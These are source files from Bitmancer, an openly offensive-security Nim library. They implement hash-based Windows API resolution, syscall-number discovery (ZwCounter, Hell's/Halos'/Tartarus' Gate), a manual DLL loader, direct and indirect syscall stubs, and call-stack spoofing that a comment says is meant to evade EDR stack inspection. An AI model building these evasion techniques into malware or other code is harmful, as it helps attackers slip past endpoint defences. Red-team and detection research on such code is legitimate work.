--------------------------------------------------------------------------------
/src/Bitmancer/core/procedures.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | enumeration/enumeration,
22 | obfuscation/hash,
23 | apiset, ntloader, str, utils
24 |
25 | export
26 | str
27 |
28 | ## Procedures
29 | ##------------------------------------------------------------------------
30 | proc getProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID]
31 |
32 | ## Private
33 | ##------------------------------------
34 | func getDotSeperatorIndex(forwarder: cstring): int {.inline.} =
35 | result = 0
36 | while forwarder[result] != '\0':
37 | if forwarder[result] == '.':
38 | return
39 | inc result
40 |
41 | proc allocateInternal(): NtResult[PVOID] =
42 | ## To avoid circular dependency, must use an internal heap alloc here
43 | const
44 | RtlAllocateHeapHash = ctDjb2 "RtlAllocateHeap"
45 | let
46 | Ntdll = ? NTDLL_BASE()
47 | f = ? getProcAddress(Ntdll, RtlAllocateHeapHash)
48 | pRtlAllocateHeap = cast[RtlAllocateHeap](f)
49 | pAllocMemory = pRtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH)
50 | if not pAllocMemory.isNil():
51 | ok pAllocMemory
52 | else:
53 | err InsufficientMemory
54 |
55 | proc freeInternal(mem: PVOID): NtResult[void] {.discardable.} =
56 | const
57 | RtlFreeHeapHash = ctDjb2 "RtlFreeHeap"
58 | let
59 | Ntdll = ? NTDLL_BASE()
60 | f = ? getProcAddress(Ntdll, RtlFreeHeapHash)
61 | pRtlFreeHeap = cast[RtlFreeHeap](f)
62 | if pRtlFreeHeap(rtlProcessHeap(), 0, mem) == 1:
63 | ok()
64 | else:
65 | err ProcedureFailure
66 |
67 | proc getForwardImageBaseApiSet(currentBase: ModuleHandle, forwarder: cstring): NtResult[ModuleHandle] =
68 | ## Get Parent Name
69 | let
70 | ldrEntry = ? getLdrEntry(currentBase, LoadOrder)
71 | parentName = addr ldrEntry.BaseDllName
72 | ## Initialize ApiSet Unicode String
73 | var apiSet = UNICODE_STRING()
74 | apiSet.Length = 0
75 | apiSet.MaximumLength = MAX_PATH
76 | apiSet.Buffer = cast[PWSTR](? allocateInternal())
77 | apiSet.add forwarder
78 | ## Resolve ApiSet
79 | ? resolveApiSet(apiSet, parentName)
80 | result = getModuleHandle(apiSet.Buffer, LoadOrder)
81 | freeInternal(apiSet.Buffer)
82 |
83 | proc getForwardImageBase(forwarder: cstring, sepIndex: int): NtResult[ModuleHandle] =
84 | var
85 | fArray: array[MAX_PATH, char]
86 | forwardString = cast[cstring](addr fArray[0])
87 | for i in 0 ..< sepIndex:
88 | forwardString[i] = LOWER_CASE(forwarder[i])
89 | forwardString.addDLLExtensionA()
90 | getModuleHandle(forwardString, LoadOrder)
91 |
92 | proc resolveForwardedFunction(currentBase: ModuleHandle, forwarder: cstring, ident: SomeProcIdent): NtResult[PVOID] =
93 | let
94 | seperator = getDotSeperatorIndex forwarder
95 | forwardIdent = cast[cstring](unsafeAddr forwarder[seperator + 1])
96 | imageBase =
97 | if isApiSetLib(forwarder):
98 | ? getForwardImageBaseApiSet(currentBase, forwarder)
99 | else:
100 | ? getForwardImageBase(forwarder, seperator)
101 | getProcAddress(imageBase, forwardIdent)
102 |
103 | func findProcAddressEAT(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID] =
104 | let exports = ? getExportDirectory(imageBase)
105 | for symName, ord, pFunc in imageBase.exports exports:
106 | if IDENT_MATCH(symName, ord, ident):
107 | return ok pFunc
108 | err ProcedureNotFound
109 |
110 | func findProcAddressIAT(imageBase: ModuleHandle, ident: SomeThunkedIdent): NtResult[PVOID] =
111 | let importTable = ? getImportDirectory(imageBase)
112 | for imprt in importTable.imports():
113 | for (pOriginalThunk, pFirstThunk) in imageBase.thunks imprt:
114 | let
115 | hint = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% pOriginalThunk.u1.AddressOfData)
116 | symName = cast[cstring](addr hint.Name[0])
117 | if IDENT_MATCH(symName, ident):
118 | return ok cast[PVOID](pFirstThunk.u1.Function)
119 | err ProcedureNotFound
120 |
121 | ## GetProcAddress
122 | ##------------------------------------
123 | proc getProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID] =
124 | let
125 | pFunction = ? findProcAddressEAT(imageBase, ident)
126 | textSection = ? getTextSection imageBase
127 | if pFunction < SECTION_START(imageBase, textSection) or pFunction > SECTION_END(imageBase, textSection):
128 | resolveForwardedFunction(imageBase, cast[cstring](pFunction), ident)
129 | else:
130 | ok pFunction
131 |
132 | proc getProcAddressEx*(imageBase: ModuleHandle, importBase: ModuleHandle, ident: SomeThunkedIdent): NtResult[PVOID] =
133 | let
134 | pFunction = ? findProcAddressIAT(importBase, ident)
135 | textSection = ? getTextSection imageBase
136 | if pFunction < SECTION_START(imageBase, textSection) or pFunction > SECTION_END(imageBase, textSection):
137 | resolveForwardedFunction(imageBase, cast[cstring](pFunction), ident)
138 | else:
139 | ok pFunction
140 |
141 | proc getNestedProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent, callIndex: int): NtResult[PVOID] =
142 | let
143 | fStart = ? getProcAddress(imageBase, ident)
144 | fEnd = ? searchFunctionEnd(imageBase, fStart)
145 | pCall = ? searchCall(fStart, fEnd, callIndex)
146 | rel32 = cast[PDWORD](pCall +! 1)[] + 0x5
147 | ok pCall +! rel32
148 |
149 |
--------------------------------------------------------------------------------
/src/Bitmancer/syscalls/zwcounter.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | base
22 |
23 | export
24 | base
25 |
26 | ## ZwCounter Compile Time Options
27 | ##------------------------------------------------------------------------
28 | type
29 | ZwCounterMethod* {.pure.} = enum
30 | UseExceptionTable,
31 | UseHighestAddress
32 |
33 | ## ZwCounter Compile Time Settings
34 | ##------------------------------------------------------------------------
35 | const
36 | ZwCountingMethod* {.intDefine.} = ZwCounterMethod.UseHighestAddress
37 |
38 | ## ZwCounter SSN Enumeration
39 | ##
40 | ## Enumerate SSNs by utilizing the fact the syscall stubs will be ascendingly ordered in memory.
41 | ## The RTF table just so happens to order these syscall stubs in that order. By looping through both
42 | ## the RTF table and the EAT, we can save ourselves from allocating additional memory to resolve SSNs
43 | ## for NT* APIs. Alternatively, we can find the highest address syscall stub coupled with the syscall's
44 | ## address to count the SSN.
45 | ##-------------------------------------------------------------------------------------------------------------
46 | proc zwCounterEatExc*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
47 | var ssn = WORD(0)
48 | let
49 | rtfTable = ? getExceptionDirectory imageBase
50 | exports = ? getExportDirectory imageBase
51 | for rtFunction in rtfTable.runtimeFunctions():
52 | for symName, ord, pFunc in imageBase.exports exports:
53 | if imageBase +% rtFunction.BeginAddress == pFunc:
54 | if IDENT_MATCH(symName, ord, ident):
55 | return ok Syscall(
56 | wSyscall: ssn,
57 | pSyscall: ? getSyscallInstruction pFunc
58 | )
59 | if symName[0] == 'Z' and symName[1] == 'w':
60 | inc ssn
61 | err SyscallNotFound
62 |
63 | proc zwCounterEatHighest*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
64 | var
65 | ssn = WORD(0)
66 | pHighestAddr = UINT_PTR(UINT_PTR.high)
67 | pTargetAddr = UINT_PTR(0)
68 | let exports = ? getExportDirectory(imageBase)
69 |
70 | for symName, ord, pFunc in imageBase.exports exports:
71 | ## Highest address will be lowest value
72 | if symName[0] == 'Z' and symName[1] == 'w':
73 | if pHighestAddr > cast[UINT_PTR](pFunc):
74 | pHighestAddr = cast[UINT_PTR](pFunc)
75 | if IDENT_MATCH(symName, ord, ident):
76 | pTargetAddr = cast[UINT_PTR](pFunc)
77 |
78 | ## Loop through the Zw/Nt call stubs until we hit our target
79 | for pStub in pHighestAddr.ntStubs():
80 | if pStub == pTargetAddr:
81 | return ok Syscall(
82 | wSyscall: ssn,
83 | pSyscall: ? getSyscallInstruction(cast[PVOID](pTargetAddr))
84 | )
85 | inc ssn
86 | err SyscallNotFound
87 |
88 | proc zwCounterEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult {.inline.} =
89 | when ZwCountingMethod == ZwCounterMethod.UseExceptionTable:
90 | zwCounterEatExc(imageBase, ident)
91 | elif ZwCountingMethod == ZwCounterMethod.UseHighestAddress:
92 | zwCounterEatHighest(imageBase, ident)
93 |
94 | proc zwCounterIat*(importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult =
95 |
96 | when ZwCountingMethod == ZwCounterMethod.UseExceptionTable:
97 | static: {.fatal: "Cannot use exception table counting method for IAT-based symbol resolution.".}
98 |
99 | elif ZwCountingMethod == ZwCounterMethod.UseHighestAddress:
100 | var
101 | ssn = WORD(0)
102 | pHighestAddr = UINT_PTR(UINT_PTR.high)
103 | pTargetAddr = UINT_PTR(0)
104 | let importTable = ? getImportDirectory(importBase)
105 |
106 | for imprt in importTable.imports():
107 |
108 | let dllName = cast[cstring](importBase +% imprt.Name)
109 |
110 | if dllName[0] == 'n' and dllName[1] == 't' and dllName[2] == 'd' and
111 | dllName[3] == 'l' and dllName[4] == 'l':
112 |
113 | for (pOriginalThunk, pFirstThunk) in importBase.thunks imprt:
114 | let
115 | hint = cast[PIMAGE_IMPORT_BY_NAME](importBase +% pOriginalThunk.u1.AddressOfData)
116 | symName = cast[cstring](addr hint.Name[0])
117 | if symName[0] == 'Z' and symName[1] == 'w':
118 | if pHighestAddr > pFirstThunk.u1.Function:
119 | pHighestAddr = pFirstThunk.u1.Function
120 | if IDENT_MATCH(symName, ident):
121 | pTargetAddr = pFirstThunk.u1.Function
122 |
123 | ## Because imports won't have all of the symbols in its import table, we must take extra steps to ensure
124 | ## we're at the highest syscall stub.
125 | if not pHighestAddr.isHighestAddress():
126 | pHighestAddr = searchNtStubUp pHighestAddr
127 |
128 | ## Loop through the NT* call stubs until we hit our target
129 | for pStub in pHighestAddr.ntStubs():
130 | if pStub == pTargetAddr:
131 | return ok Syscall(
132 | wSyscall: ssn,
133 | pSyscall: ? getSyscallInstruction pTargetAddr
134 | )
135 | inc ssn
136 | err SyscallNotFound
137 |
138 | template zwCounter*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult =
139 | when symEnum == UseEAT: zwCounterEat(imageBase, ident)
140 | elif symEnum == UseIAT: zwCounterIat(imageBase, importBase, ident)
141 |
142 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrmapsnap.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | ## Loader Snapping Routines
22 | ##------------------------------------------------------------------------
23 | proc ldrLoadDependencyInternal(ctx: PLoadContext, flags: ULONG, dll: PWSTR): NtResult[ModuleHandle] =
24 | let ForwardCtx = ? eLoadLibrary(flags, dll, NULL, 0)
25 | insertTailList(ctx.dependencies, ForwardCtx.dependencies)
26 | ##TODO: set ParentDLLBase
27 | ok ForwardCtx.entry.DLLBase.ModuleHandle
28 |
29 | proc ldrLoadDependency(ctx: PLoadContext, f: cstring): NtResult[ModuleHandle] =
30 | var
31 | forwarderFlags = DWORD(0)
32 | importedDLL = ? ldrPrepareForwardString()
33 | SET_LOAD_LOCAL forwarderFlags
34 |
35 | if isApiSetLib(f):
36 | ## We check if the resolved api set module is already loaded. If it is,
37 | ## return it's modulehandle. otherwise, we load it
38 | let
39 | resolvedLib = ? ldrResolveApiSet(f)
40 | resolvedEntry = GET_LDR_LIST(resolvedLib.Buffer, LoadOrder)
41 | if resolvedEntry.isOk():
42 | PROCESS_HEAP_FREE(cast[PVOID](resolvedLib.Buffer))
43 | PROCESS_HEAP_FREE(cast[PVOID](importedDLL.Buffer))
44 | return ok resolvedEntry.get().DLLBase.ModuleHandle
45 | else:
46 | importedDLL.add resolvedLib
47 |
48 | discard PROCESS_HEAP_FREE(cast[PVOID](resolvedLib.Buffer))
49 |
50 | else:
51 | importedDLL.add f
52 |
53 | ldrLoadDependencyInternal(ctx, forwarderFlags, importedDLL.Buffer)
54 |
55 | proc ldrResolveImport(ctx: PLoadContext, Import: PIMAGE_IMPORT_DESCRIPTOR): NtResult[void] =
56 | var
57 | ImportedFunction = PVOID(NULL)
58 | ImportByName = PIMAGE_IMPORT_BY_NAME(NULL)
59 | let
60 | imageBase = ctx.entry.DLLBase.ModuleHandle
61 | ImportName = cast[cstring](imageBase +% Import.Name)
62 | ImportBase =
63 | if MODULE_LOADED(ImportName, MemoryOrder):
64 | ? getModuleHandle(ImportName, MemoryOrder)
65 | else:
66 | ? ldrLoadDependency(ctx, ImportName)
67 |
68 | for (OriginalThunk, FirstThunk) in imageBase.thunks(Import):
69 | ImportedFunction =
70 | if IMAGE_SNAP_BY_ORDINAL OriginalThunk.u1.Ordinal:
71 | ? getProcAddress(ImportBase, cast[WORD](OriginalThunk.u1.Ordinal))
72 | else:
73 | ImportByName = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% OriginalThunk.u1.AddressOfData)
74 | ? getProcAddress(ImportBase, cast[cstring](addr ImportByName.Name[0]))
75 | FirstThunk.u1.Function = cast[ULONGLONG](ImportedFunction)
76 | ok()
77 |
78 | proc ldrResolveDelayedImport(ctx: PLoadContext, DelayedImport: PIMAGE_DELAYLOAD_DESCRIPTOR): NtResult[void] =
79 | var
80 | ImportedFunction = PVOID(NULL)
81 | ImportByName = PIMAGE_IMPORT_BY_NAME(NULL)
82 | let
83 | imageBase = ctx.entry.DLLBase.ModuleHandle
84 | ImportName = cast[cstring](imageBase +% DelayedImport.DllNameRVA)
85 | ImportBase =
86 | if MODULE_LOADED(ImportName, MemoryOrder):
87 | ? getModuleHandle(ImportName, MemoryOrder)
88 | else:
89 | ? ldrLoadDependency(ctx, ImportName)
90 |
91 | for (OriginalThunk, FirstThunk) in imageBase.thunks(DelayedImport):
92 | ImportedFunction =
93 | if IMAGE_SNAP_BY_ORDINAL OriginalThunk.u1.Ordinal:
94 | ? getProcAddress(ImportBase, cast[WORD](OriginalThunk.u1.Ordinal))
95 | else:
96 | ImportByName = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% OriginalThunk.u1.AddressOfData)
97 | ? getProcAddress(ImportBase, cast[cstring](addr ImportByName.Name[0]))
98 | FirstThunk.u1.Function = cast[ULONGLONG](ImportedFunction)
99 | ok()
100 |
101 | proc ldrResolveImports*(ctx: PLoadContext): NtResult[void] =
102 |
103 | let imageBase = ctx.entry.DLLBase.ModuleHandle
104 |
105 | ## Imports
106 | let importDirHeader = getImportDirectoryHeader(imageBase)
107 | if importDirHeader.isErr():
108 | if importDirHeader.error() notin {DirectoryEmpty, DirectoryNotFound}:
109 | return err importDirHeader.error()
110 | else:
111 | ## Change protections of IAT to RW, these will be protected later in LdrSetProtections
112 | let
113 | Imports = IMPORT_DIRECTORY(imageBase, importDirHeader.get())
114 | RelocationSection = ? getRelocationSection(imageBase)
115 | var
116 | iatBase = imageBase +% RelocationSection.VirtualAddress
117 | iatSize = SIZE_T(RelocationSection.Misc.VirtualSize)
118 | oldProt = ULONG(PAGE_READWRITE)
119 |
120 | if ntProtectVirtualMemory(
121 | iatBase,
122 | iatSize,
123 | oldProt,
124 | addr oldProt
125 | ).isErr():
126 | return err SyscallFailure
127 |
128 | for Import in Imports.imports():
129 | ? ldrResolveImport(ctx, Import)
130 |
131 | ## Delayed Imports
132 | let DelayedImportDirectoryHeader = getDelayedImportDirectoryHeader(imageBase)
133 | if DelayedImportDirectoryHeader.isErr():
134 | if DelayedImportDirectoryHeader.error() notin {DirectoryEmpty, DirectoryNotFound}:
135 | return err DelayedImportDirectoryHeader.error()
136 | else:
137 | let DelayedImportDirectory = DELAY_IMPORT_DIRECTORY(imageBase, DelayedImportDirectoryHeader.get())
138 | for DelayedImport in DelayedImportDirectory.dImports():
139 | ? ldrResolveDelayedImport(ctx, DelayedImport)
140 | ok()
141 |
142 | ## Loader Map it and Snap it (like it's hot)
143 | ##------------------------------------------------------------------------
144 | proc ldrSnapModule*(ctx: PLoadContext): NtResult[void] {.inline.} =
145 | ## Snaps the DLL's imports
146 | ldrResolveImports ctx
147 |
148 | proc ldrMapAndSnap*(ctx: PLoadContext): NtResult[void] =
149 | ## Map the DLL into memory
150 | ? ldrMapModule ctx
151 | ## Snaps the DLL's imports
152 | ? ldrSnapModule ctx
153 | ## Flush the cpu
154 | ntFlushInstructionCache(rtlCurrentProcess(), NULL, 0)
155 |
156 |
--------------------------------------------------------------------------------
/src/Bitmancer/syscalls/base.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | std/macros,
22 | ../core/enumeration/memory/syscalls,
23 | ../rtl
24 |
25 | export
26 | rtl, syscalls
27 |
28 | const
29 | StubOffsetUp* = 32
30 | StubOffsetDown* = -32
31 |
32 | type
33 | NtSyscall*[T] {.byCopy.} = object
34 | syscall*: Syscall
35 | pFunction*: T
36 |
37 | ## Compile Time Options
38 | ##------------------------------------------------------------------------
39 | type
40 | SsnEnumeration* {.pure.} = enum
41 | HalosGate ## Halos' Gate SSN retrieval
42 | HellsGate ## Hell's Gate SSN retrieval
43 | LdrThunks ## Utilize Ldr's Thunk Signatures to load a fresh NTDLL from disk and resolve needed SSNs.
44 | TartarusGate ## Tartarus' Gate SSN retrieval
45 | ZwCounter ## Utilize Nt/Zw* stub memory address ordering
46 |
47 | SymbolEnumeration* {.pure.} = enum
48 | UseEAT, ## Use the NTDLL's Export Address Table to resolve SSNs and syscall instruction addresses.
49 | UseIAT, ## Use the Kernel32's Import Address Table to resolve SSNs and syscall instruction addresses.
50 |
51 | SyscallExecution* {.pure.} = enum
52 | Direct, ## Execute system call directly.
53 | Indirect, ## Execute system call indirectly with the stub's syscall instruction.
54 |
55 | ## Compile Time Settings
56 | ##------------------------------------------------------------------------
57 | const
58 | ## SpoofCallStack
59 | ## Spoof the call stack to evade stack introspection from EDRs when an Instrumented Callback
60 | ## is registered.
61 | ##--------------------------------------
62 | SpoofCallStack* {.boolDefine.} = true
63 |
64 | ## Helpers
65 | ##------------------------------------
66 | template checkValidOSVersionTarget*(ssnEnum: SsnEnumeration) =
67 | static:
68 | when OsVer < OS_10_Threadhold1 and ssnEnum == SsnEnumeration.LdrThunks:
69 | {.fatal: """UseLdrThunks uses the LdrpThunkSignatures to load a fresh copy of NTDLL to parse. These
70 | signatures are only available on versions of Windows 10 and later.""".}
71 |
72 | ## Nt Syscall Stubs
73 | ##------------------------------------
74 | func directStub*() {.asmNoStackFrame, inline.} =
75 | when defined(cpu64):
76 | asm """
77 | mov r10, rcx
78 | mov eax, r14d
79 | syscall
80 | """
81 | else:
82 | static: {.fatal: "Support for x86 not implemented yet".}
83 |
84 | func spoofStub*() {.asmNoStackFrame, inline.} =
85 | when defined(cpu64):
86 | asm """
87 | mov r10, rcx
88 | mov eax, r14d
89 | jmp r15
90 | """
91 | else:
92 | static: {.fatal: "Support for x86 not implemented yet".}
93 |
94 | template PRE_CALL*() =
95 | when defined(cpu64):
96 | {.emit: [
97 | """asm volatile(
98 | "mov r14w, %c[wSyscall] %0\n\t"
99 | "mov r15, %c[pSyscall] %0\n\t"
100 | :
101 | :"m"(ntSyscall),
102 | [wSyscall] "i" (offsetof(""", Syscall, """, wSyscall)),
103 | [pSyscall] "i" (offsetof(""", Syscall, """, pSyscall))
104 | : "r14", "r15"
105 | );
106 | """
107 | ].}
108 |
109 | else:
110 | static: {.fatal: "x86 Not yet implemented".}
111 |
112 | ## Nt Syscall Generation
113 | ##------------------------------------
114 | proc newProc(name = newEmptyNode();
115 | genericParams: NimNode = newEmptyNode();
116 | params: openArray[NimNode] = [newEmptyNode()];
117 | body: NimNode = newStmtList();
118 | procType = nnkProcDef;
119 | pragmas: NimNode = newEmptyNode()): NimNode =
120 | if procType notin RoutineNodes:
121 | error("Expected one of " & $RoutineNodes & ", got " & $procType)
122 | pragmas.expectKind({nnkEmpty, nnkPragma})
123 | result = newNimNode(procType).add(
124 | name,
125 | newEmptyNode(),
126 | genericParams,
127 | newNimNode(nnkFormalParams).add(params),
128 | pragmas,
129 | newEmptyNode(),
130 | body)
131 |
132 | proc newProcArgs(typedef: NimNode): seq[NimNode] {.compileTime.} =
133 | expectKind(typeDef, nnkTypeDef)
134 | result = newSeq[NimNode]()
135 | for fParam in typeDef[2][0]:
136 | if fParam.kind == nnkSym:
137 | result.add ident($fParam)
138 | else:
139 | let paramName = ident($fParam[0])
140 | let paramType =
141 | if fParam[1].kind == nnkVarTy:
142 | newNimNode(nnkVarTy).add(ident($fParam[1][0]))
143 | else:
144 | ident($fParam[1])
145 | result.add newIdentDefs(paramName, paramType)
146 |
147 | let bracketExpr = newNimNode(nnkBracketExpr)
148 | bracketExpr.add ident"NtSyscall"
149 | bracketExpr.add ident"T"
150 |
151 | let ntSyscall = newIdentDefs(ident"ntSyscall", bracketExpr)
152 | result.add ntSyscall
153 |
154 | proc newProcPragma(typeDef: NimNode): NimNode {.compileTime.} =
155 | expectKind(typeDef, nnkTypeDef)
156 | result = newNimNode(nnkPragma)
157 | for pragma in typeDef[2][1]:
158 | result.add ident($pragma)
159 |
160 | proc newProcBody(args: seq[NimNode]): NimNode {.compileTime.} =
161 | result = newStmtList()
162 | let
163 | resultIdent = ident"result"
164 | bodyCall = newNimNode(nnkCall)
165 | dotExpr = newNimNode(nnkDotExpr)
166 | ntSyscall = ident"ntSyscall"
167 | dotExpr.add ntSyscall
168 | dotExpr.add ident"pFunction"
169 |
170 | bodyCall.add dotExpr
171 | for i in 1 ..< args.len() - 1:
172 | bodyCall.add args[i][0]
173 |
174 | result = quote do:
175 | PRE_CALL()
176 | `resultIdent` = `bodyCall`
177 |
178 | macro genSyscall*(T: typedesc) =
179 | let
180 | typeDef = getImpl(T)
181 | procArgs = newProcArgs(typeDef)
182 | genericParams = newNimNode(nnkGenericParams)
183 |
184 | genericParams.add newIdentDefs(ident"T", newEmptyNode())
185 |
186 | result = newStmtList()
187 | result.add newProc(
188 | name = ident($typedef[0] & "Wrapper"),
189 | genericParams = genericParams,
190 | params = procArgs,
191 | body = newProcBody(procArgs),
192 | pragmas = newProcPragma(typeDef)
193 | )
194 | when defined(nimDumpSyscalls):
195 | echo repr result
196 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/shared.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | base
22 | export
23 | base
24 |
25 | ## KSYSTEM_TIME
26 | ##-----------------------------------------------
27 | type
28 | KSYSTEM_TIME* {.pure.} = object
29 | LowPart*: ULONG
30 | High1Time*: LONG
31 | High2Time*: LONG
32 |
33 | ## KUSER_SHARED_DATA
34 | ##-----------------------------------------------
35 | type
36 | ALTERNATIVE_ARCHITECTURE_TYPE* {.pure.} = enum
37 | StandardDesign,
38 | NEC98x86,
39 | EndAlternatives
40 |
41 | KUSER_SHARED_DATA_UNION_1_STRUCT* {.pure.} = object
42 | NXSupportPolicy* {.bitsize: 2.}: UCHAR
43 | SEHValidationPolicy* {.bitsize: 2.}: UCHAR
44 | CurDirDevicesSkippedForDlls* {.bitsize: 2.}: UCHAR
45 | Reserved* {.bitsize: 2.}: UCHAR
46 |
47 | KUSER_SHARED_DATA_UNION_1* {.pure, union.} = object
48 | MitigationPolicies*: UCHAR
49 | Struct1*: KUSER_SHARED_DATA_UNION_1_STRUCT
50 |
51 | KUSER_SHARED_DATA_UNION_2_STRUCT* {.pure.} = object
52 | DbgErrorPortPresent* {.bitsize: 1.}: ULONG
53 | DbgElevationEnabled* {.bitsize: 1.}: ULONG
54 | DbgVirtEnabled* {.bitsize: 1.}: ULONG
55 | DbgInstallerDetectEnabled* {.bitsize: 1.}: ULONG
56 | DbgLkgEnabled* {.bitsize: 1.}: ULONG
57 | DbgDynProcessorEnabled* {.bitsize: 1.}: ULONG
58 | DbgConsoleBrokerEnabled* {.bitsize: 1.}: ULONG
59 | DbgSecureBootEnabled* {.bitsize: 1.}: ULONG
60 | DbgMultiSessionSku* {.bitsize: 1.}: ULONG
61 | DbgMultiUsersInSessionSku* {.bitsize: 1.}: ULONG
62 | DbgStateSeparationEnabled* {.bitsize: 1.}: ULONG
63 | SpareBits* {.bitsize: 21.}: ULONG
64 |
65 | KUSER_SHARED_DATA_UNION_2* {.pure, union.} = object
66 | SharedDataFlags*: ULONG
67 | Struct1*: KUSER_SHARED_DATA_UNION_2_STRUCT
68 |
69 | KUSER_SHARED_DATA_TICK_COUNT* {.pure, union.} = object
70 | TickCount*: KSYSTEM_TIME
71 | TickCountQuad*: ULONGLONG
72 | ReservedTickCountOverlay*: array[3, ULONG]
73 |
74 | KUSER_SHARED_DATA* {.pure.} = object
75 | TickCountLowDeprecated*: ULONG
76 | TickCountMultiplier*: ULONG
77 | InterruptTime*: KSYSTEM_TIME
78 | SystemTime*: KSYSTEM_TIME
79 | TimeZoneBias*: KSYSTEM_TIME
80 | ImageNumberLow*: USHORT
81 | ImageNumberHigh*: USHORT
82 | NtSystemRoot*: array[260, WCHAR]
83 | MaxStackTraceDepth*: ULONG
84 | CryptoExponent*: ULONG
85 | TimeZoneId*: ULONG
86 | LargePageMinimum*: ULONG
87 | AitSamplingValue*: ULONG
88 | AppCompatFlag*: ULONG
89 | RNGSeedVersion*: ULONGLONG
90 | GlobalValidationRunlevel*: ULONG
91 | TimeZoneBiasStamp*: ULONG
92 | NtBuildNumber*: ULONG
93 | NtProductType*: NT_PRODUCT_TYPE
94 | ProductTypeIsValid*: UCHAR
95 | Reserved0*: UCHAR
96 | NativeProcessorArchitecture*: USHORT
97 | NtMajorVersion*: ULONG
98 | NtMinorVersion*: ULONG
99 | ProcessorFeatures*: array[64, UCHAR]
100 | Reserved1*: ULONG
101 | Reserved3*: ULONG
102 | TimeSlip*: ULONG
103 | AlternativeArchitecture*: ALTERNATIVE_ARCHITECTURE_TYPE
104 | BootId*: ULONG
105 | SystemExpirationDate*: LARGE_INTEGER
106 | SuiteMask*: ULONG
107 | KdDebuggerEnabled*: UCHAR
108 | Union1*: KUSER_SHARED_DATA_UNION_1
109 | CyclesPerYield*: USHORT
110 | ActiveConsoleId*: ULONG
111 | DismountCount*: ULONG
112 | ComPlusPackage*: ULONG
113 | LastSystemRITEventTickCount*: ULONG
114 | NumberOfPhysicalPages*: ULONG
